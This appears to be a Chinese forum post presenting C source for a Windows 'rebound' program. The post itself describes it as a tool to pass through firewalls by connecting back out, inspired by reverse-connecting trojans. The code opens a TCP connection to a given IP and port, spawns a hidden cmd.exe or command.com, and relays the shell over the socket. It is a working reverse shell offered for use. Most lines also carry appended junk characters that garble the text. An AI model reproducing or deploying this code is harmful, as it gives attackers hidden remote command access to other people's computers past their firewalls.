这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 rCK
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/* ============================== .2Q4EbM2
Rebound port in Windows NT W)X" G3
By wind,2006/7 8=K%7:b
===============================*/ C33BP}c]
#include hQeGr2gMq
#include 1'NJ[
C`
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#pragma comment(lib,"wsock32.lib") vU,V[1^a
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void OutputShell(); @d&JtA
SOCKET sClient; TS_5R>R3
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; f: 9bq}vH
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void main(int argc,char **argv) aM7e?.rU
{ f]pHJVgFV
WSADATA stWsaData; AX%N:)_$|
int nRet; @$Xl*WT7
SOCKADDR_IN stSaiClient,stSaiServer; @=7[ KM b
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if(argc != 3) %nS(>X<B
{ eS`ZC!W
printf("Useage:\n\rRebound DestIP DestPort\n"); R7o'V* d
return; /3`yaYkSh
} {gC?kp
; Sd== *
WSAStartup(MAKEWORD(2,2),&stWsaData); "[QQ(]={
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <~ Dq8If
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stSaiClient.sin_family = AF_INET; a
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stSaiClient.sin_port = htons(0); |Q(3rcOrV"
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); pqCp>BO?O
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) [+F6C
{ I!?)}d
printf("Bind Socket Failed!\n"); |EGC1x]j=
return; *g*~+B
:
} \y(ZeNs
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stSaiServer.sin_family = AF_INET; *@VS^JB
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); )krBjF.$
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); B,q)<z6<
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) qEvbKy}
{ u?F^gIw
printf("Connect Error!"); O:]e4r,'
return; | |u
} %ws@t"aER
OutputShell(); BvLC%
} ~eyZH8&
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void OutputShell() ~eZ]LW])
{ Z,~PW#8<&
char szBuff[1024]; h+c9FN
SECURITY_ATTRIBUTES stSecurityAttributes; i*]$_\yl"
OSVERSIONINFO stOsversionInfo; z',f'3+
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; xrZzfg
STARTUPINFO stStartupInfo; M?d (-en
char *szShell; }Ip1|Gj
PROCESS_INFORMATION stProcessInformation; ]IclA6
unsigned long lBytesRead; vn+~P9SHQ
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); .T1n"TfsGO
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); h+!@`c>)Y
stSecurityAttributes.lpSecurityDescriptor = 0; 2M>`W5
stSecurityAttributes.bInheritHandle = TRUE; FfX*bqy
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); OJ1MV 7&
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 9'=ZxV
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Q-?6o
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :'4",
stStartupInfo.wShowWindow = SW_HIDE; >qU5 (M_&L
stStartupInfo.hStdInput = hReadPipe; Y<t(m$s
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; VBtdx`9
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GetVersionEx(&stOsversionInfo); -uNM_|MO
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switch(stOsversionInfo.dwPlatformId) sE])EwZ
{ 1d!TU=*
case 1: ".{'h
szShell = "command.com"; oO^=%Mc(
break; (j-_iOQ]i+
default: '-BD.^!!
szShell = "cmd.exe"; Eq=j+ch7
break; 2@!B;6*8q
} 48,uO!
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); !A:d9 k
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send(sClient,szMsg,77,0); ]m :Y|,:6
while(1) xnDst9%
{ 6@;sOiN+
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); HPXJRQBE
if(lBytesRead) uE}$ZBiq
{ cR=o!2O
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); tZY6{,K%4
send(sClient,szBuff,lBytesRead,0); B"rO
} C^fn[plL
else +}
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{ RB9ZaL\
lBytesRead=recv(sClient,szBuff,1024,0); E5IS<.
if(lBytesRead<=0) break; 61}eB/;7
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3$9V4v@2
} 2v<O}
} )S`=y-L$
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return; A`* l+M^z
}